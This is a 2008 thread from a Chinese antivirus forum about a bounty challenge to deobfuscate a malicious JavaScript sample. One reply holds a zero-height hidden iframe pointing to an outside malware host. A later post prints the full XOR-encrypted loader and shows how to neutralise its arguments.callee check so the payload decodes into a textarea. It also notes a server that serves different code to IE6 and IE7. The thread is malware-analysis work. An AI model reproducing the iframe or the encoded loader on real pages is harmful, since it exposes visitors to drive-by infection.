12
返回列表 发新帖
楼主: 雨宫优子
收起左侧

[其它] [解密悬赏][第五期]

 关闭 [复制链接]
dikex
发表于 2008-12-29 13:18:16 | 显示全部楼层

回复 8楼 aarwwefdds 的帖子

我在剑盟的组别不是叫“剑盟计算机团队”,而且剑盟也没有叫“剑盟计算机团队”的组别
xiaochi12
发表于 2008-12-29 19:37:37 | 显示全部楼层
這樣么?
<br>
<br>
<br>
<iframe src=http://nb-602.cn/a998/cx.htm width=100 height=0></Iframe>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<script type="text/javascript" src="http://js.tongji.cn.yahoo.com/878748/ystat.js"></script>
<br>
jimmyleo
发表于 2008-12-29 19:44:33 | 显示全部楼层
原帖由 dikex 于 2008-12-29 13:18 发表
我在剑盟的组别不是叫“剑盟计算机团队”,而且剑盟也没有叫“剑盟计算机团队”的组别


我有把你圈养起来的冲动...
雨宫优子
 楼主| 发表于 2008-12-29 20:21:54 | 显示全部楼层
飘忽...


如果今天还没人解出来
是不是应该收榜了
zzh161
发表于 2008-12-29 20:23:28 | 显示全部楼层

回复 13楼 jimmyleo 的帖子

这个明显是我家的ALEX养的,也可以算是我家的
雨宫优子
 楼主| 发表于 2008-12-29 20:31:35 | 显示全部楼层
原帖由 zzh161 于 2008-12-29 20:23 发表
这个明显是我家的ALEX养的,也可以算是我家的

太水了 .....
本来很严肃的悬赏帖,就被这样....
雨宫优子
 楼主| 发表于 2008-12-29 20:34:15 | 显示全部楼层
原帖由 dikex 于 2008-12-29 13:18 发表
我在剑盟的组别不是叫“剑盟计算机团队”,而且剑盟也没有叫“剑盟计算机团队”的组别

管他的...


对剑盟不是很熟悉
话说那个什么剑盟似乎成“挂盟”了...[:27:]
网站休假了..
qigang
发表于 2008-12-29 20:42:52 | 显示全部楼层
原帖由 aarwwefdds 于 2008-12-29 20:31 发表

太水了 .....
本来很严肃的悬赏帖,就被这样....



都被雷倒了呗!
雨宫优子
 楼主| 发表于 2008-12-29 21:50:23 | 显示全部楼层
2天都无人揭榜...

关帖,稍后给出方法
雨宫优子
 楼主| 发表于 2008-12-29 22:04:58 | 显示全部楼层
这里引用刺猬的..


我个人没什么时间写了


实际上把代码直接到malzilla去跑那么一下下


就都出来了,或者使用万能大法也行


var d3L5m=eval('a8r;g;u!m?e?n8t8s8.,c,a;l8l?e,e;'.replace(/[\!,8\?;]/g, '')).toString()
这里replace后就是arguments.callee了

先将整个nFCcG函数作为字符串赋值为一个临时变量(如aaa),未免赋值时函数原有的单引号和双引号带来麻烦,可以先将其escape,赋值时用aaa=unescape("escape后的nFCcG函数")
然后把arguments.callee.toString()这段替换为:var d3L5m=aaa

之后就可以大方的更改nFCcG函数中的eval了,改alert之类的,就和平常的一样


  1. <textarea id="textareaID" rows="34" cols="110"></textarea>

  2. <script>

  3. aaa=unescape("function%20nFCcG%28mhCK%29%7Bfunction%20ju8zJ%28tCAt8jF%29%7Bvar%20gUOny%3D0%2Cj4ZC%2CyFbJ%3DtCAt8jF.length%3Bfor%28j4ZC%3D0%3Bj4ZC%3CyFbJ%3Bj4ZC++%29gUOny+%3DtCAt8jF.charCodeAt%28j4ZC%29*yFbJ%3Breturn%20new%20String%28gUOny%29%7DmhCK%3Dunescape%28mhCK%29%3Bvar%20d3L5m%3Deval%28%27a8r%3Bg%3Bu%21m%3Fe%3Fn8t8s8.%2Cc%2Ca%3Bl8l%3Fe%2Ce%3B%27.replace%28/%5B%5C%21%2C8%5C%3F%3B%5D/g%2C%20%27%27%29%29.toString%28%29.replace%28/%5B%5E@a-z0-9A-Z_.%2C-%5D/g%2C%27%27%29%2Cjvj%3Dju8zJ%28d3L5m%29%2Cm5a2sU%3Dnew%20String%28%29%2Cgbn%3D0%3BrqQ%3D0%3Bfor%28var%20nX2EAAwn%3D0%3BnX2EAAwn%3CmhCK.length%3BnX2EAAwn++%29%7Bm5a2sU+%3DString.fromCharCode%28mhCK.charCodeAt%28nX2EAAwn%29%5E%28d3L5m.charCodeAt%28gbn%29%5Ejvj.charCodeAt%28rqQ%29%29%29%3Bgbn++%3BrqQ++%3Bif%28gbn%3E%3Dd3L5m.length%29gbn%3D0%3Bif%28rqQ%3E%3Djvj.length%29rqQ%3D0%3B%7Deval%28m5a2sU%29%3Bm5a2sU%3D%27%27%3Breturn%3B%7D");

  4. function nFCcG(mhCK){function ju8zJ(tCAt8jF){var gUOny=0,j4ZC,yFbJ=tCAt8jF.length;for(j4ZC=0;j4ZC<yFbJ;j4ZC++)gUOny+=tCAt8jF.charCodeAt(j4ZC)*yFbJ;return new String(gUOny)}mhCK=unescape(mhCK);var d3L5m=aaa.replace(/[^@a-z0-9A-Z_.,-]/g,''),jvj=ju8zJ(d3L5m),m5a2sU=new String(),gbn=0;rqQ=0;for(var nX2EAAwn=0;nX2EAAwn<mhCK.length;nX2EAAwn++){m5a2sU+=String.fromCharCode(mhCK.charCodeAt(nX2EAAwn)^(d3L5m.charCodeAt(gbn)^jvj.charCodeAt(rqQ)));gbn++;rqQ++;if(gbn>=d3L5m.length)gbn=0;if(rqQ>=jvj.length)rqQ=0;}document.getElementById("textareaID").innerText=(m5a2sU);m5a2sU='';return;}nFCcG('%32%30%33%39%38%30%36%38%7c%3c%01%00%28%0c%07%53%50%2d%3b%6c%11%35%05%00%0d%03%68%71%30%15%36%14%07%3d%7b%36%5e%7b%77%31%25%04%08%3f%7b%27%35%35%6f%10%1d%70%6f%15%3a%5d%61%5f%15%28%74%1c%02%77%33%30%08%0c%00%78%6a%77%26%2f%69%00%0f%69%33%62%40%5a%31%09%3b%08%7c%68%04%1b%69%08%18%3d%3a%21%14%1f%33%2f%3e%19%7b%3a%2e%38%2e%14%79%3c%3c%0a%32%61%27%11%1e%3d%05%28%16%62%74%25%39%36%28%74%7c%60%5a%62%65%7e%73%77%7d%01%10%3f%61%60%63%5b%5e%62%7d%20%37%73%33%24%3f%7d%66%47%53%61%22%24%32%66%19%65%3b%30%24%7e%77%71%34%6b%2b%2d%32%2e%72%6f%22%75%19%69%76%70%02%68%20%3c%6e%3b%7b%3d%77%24%61%7b%6f%75%77%70%77%78%67%36%3a%6c%27%27%0d%25%22%35%76%7f%37%11%09%21%72%22%6b%78%4f%77%32%17%2c%38%26%5f%3c%4b%43%6c%7a%64%33%7d%79%37%64%72%76%10%2e%61%53%70%26%52%21%7d%34%7d%28%79%22%6d%44%77%76%67%11%24%29%2a%73%39%71%23%06%37%6c%26%11%1c%7a%3f%37%2d%6c%78%61%7c%40%20%5d%5b%53%6c%7d%7d%3e%01%77%53%1b%1e%37%23%75%73%55%07%74%35%25%79%2f%25%2a%3e%51%7f%5a%1b%16%28%33%3c%62%1f%60%27%08%59%65%22%38%3c%33%73%3f%24%3c%72%5d%3b%3d%24%10%36%37%0b%3e%34%05%17%2c%62%72%38%2c%01%39%3c%39%08%0b%38%19%76%17%14%15%22%3c%7c%3b%5c%60%21%78%30%2a%30%2f%1d%74%74%26%03%27%2b%25%2c%37%6f%73%36%31%3f%30%37%1d%33%32%21%59%2f%2f%2e%09%37%3f%70%2d%27%07%3c%2d%11%3c%76%26%63%17%76%70%74%3b%3a%33%36%23%16%35%36%33%20%74%7e%67%7c%45%73%65%7a%6c%3c%3e%2d%7a%2e%3f%2d%2c%00%67%03%24%34%21%38%2a%79%3d%7e%46%79%3c%78%3f%36%4b%2b%38%3e%39%23%34%32%67%64%70%2b%24%31%3b%22%1d%1c%3e%56%7c%23%1c%15%7c%64%29%32%25%2a%77%37%34%37%6e%22%16%3d%3c%17%35%7c%38%13%22%34%20%77%4e%56%26%36%69%6e%7c%7f%55%51%23%76%1a%19%15%7a%07%47%67%6b%21%1c%6c%62%2e%20%38%0f%35%14%64%34%04%23%17%1e%62%33%7c%11%0f%39%43%37%18%3b%40%1b%47%6d%50%18%60%26%3c%15%31%21%75%0f%59%28%6b%1b%6f%74%19%60%3a%63%05%07%39%6e%04%4c%24%1c%74%39%33%63%35%7a%29%15%65%6b%19%44%39%69%7f%2c%34%2f%0b%1e%3e%25%7d%77%2e%45%0c%20%3c%08%06%7e%21%71%7f%7f%57%5b%65%25%2c%35%72%52%61%31%29%00%25%35%3e%6d%14%0c%01%75%7a%7d%28%18%2c%20%3e%2e%26%31%31%1f%36%31%32%1b%68%6d%7d%72%3b%79%31%24%6b%37%22%38%7b%60%72%31%30%5b%30%71%64%67%7d%30%36%38%32%30%33%39%38%58%78%4e%22%30%2d%75%37%40%43%00%30%3c%39%79%3d%27%28%3c%21%7a%3d%77%23%08%72%64%43%61%31%76%20%68%32%64%35%5e%32%72%20%13%27%24%73%77%6f%7a%71%25%2a%61%34%24%4a%7a%77%64%2b%60%30%2e%32%12%6f%5d%5e%42%38%3d%62%23%03%6a%5b%1c%5a%3c%39%3b%33%06%10%73%30%21%73%29%3e%31%2c%05%28%52%4e%03%27%39%2f%5c%3e%65%2c%0b%55%7e%78%2a%3e%30%72%38%2e%1a%22%3e%64%00%66%54%25%31%23%39%3b%10%1d%3f%74%03%0b%70%16%03%2c%19%28%19%77%07%2c%55%55%5f%66%75%21%20%59%39%61%38%2d%3a%6f%25%59%3b%21%25%41%7a%27%66%63%75%7d%3b%6d%27%28%34%3b%1f%27%63%62%56%6c%38%26%11%38%3a%35%27%6f%46%00%20%6c%07%2d%08%3a%28%2f%00%32%32%71%7e%76%6b%73%7e%2c%23%60%30%23%64%30%04%2d%0c%3d%71%31%34%39%7f%33%39%23%32%49%6b%38%29%39%3c%30%4b%36%67%24%49%7e%78%31%6b%36%43%23%3a%28%27%23%3b%06%2c%30%26%22%79%6c%23%25%52%02%36%00%17%3f%1c%16%37%22%7e%6a%6d%37%2a%36%31%33%61%26%1d%64%1d%16%21%6f%76%55%39%38%2e%24%08%54%25%3c%68%66%7a%66%5f%51%72%2f%08%7a%3e%23%0f%16%6c%22%68%5e%7a%74%2e%39%23%13%38%33%3a%6c%3c%63%1d%50%4d%33%70%09%53%62%58%36%16%26%50%05%16%30%4d%55%77%6a%64%4d%4f%72%38%69%4f%26%63%77%62%60%17%33%3e%28%1c%27%3c%72%44%13%2f%11%39%15%2f%77%79%66%25%37%33%36%6f%4a%64%63%6d%74%77%7a%4d%18%2d%29%35%20%16%55%3b%3d%39%35%3f%70%6b%71%6e%7a%16%00%3f%30%30%37%78%43%27%75%38%60%25%35%1e%47%16%07%38%27%3c%36%67%6e%21%7b%21%6b%30%32%71%27%0e%6a%3b%39%4f%27%64%29%3b%24%75%63%73%35%61%64%34%6b%7e%23%31%4d%65%3b%2f%3c%2c%36%2e%6e%79%68%7d%33%61%5f%61%5c%73%24%2f%48%4b%33%5e%33%23%44%2b%04%22%56%62%07%6b%7e%24%49%21%30%37%42%10%5d%38%5d%32%4a%76%2a%39%02%2e%3a%2f%08%21%6c%7e%07%15%58%0e%00%78%5b%65%24%4d%23%78%70%6b%6c%36%7d%79%4c%30%1b%1e%05%67%2a%61%2f%41%63%48%47%42%2c%62%32%6a%12%50%33%7d%38%75%69%2e%7e%2d%1b%68%04%05%00%66%1b%3c%77%31%2e%25%0a%05%23%30%77%1b%34%6a%3d%65%25%3c%1b%34%3c%2f%58%7f%76%36%75%3c%14%15%7a%2e%38%78%68%4a%71%65%7f%43%3e%3b%1a%7f%05%1f%52%21%6d%29%29%1c%68%2e%69%60%77%30%3c%1a%6e%7a%35%16%6b%2a%6f%20%39%34%79%78%38%30%38%77%1f%3a%20%7c%33%35%1e%1e%32%0e%79%7e%71%2e%04%39%3b%79%38%39%2f%77%1b%61%33%36%76%67');

  5. </script>
复制代码

另外如果分析到了 http://beencn.cn
这个东西的服务器会根据浏览器发送的User Agent判断浏览器版本,然后返回相应的代码;
IE6和IE7会得到不同的代码的,如果User Agent为空,则只返回<html><body></body></html
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-11-15 16:30 , Processed in 0.088683 second(s), 13 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表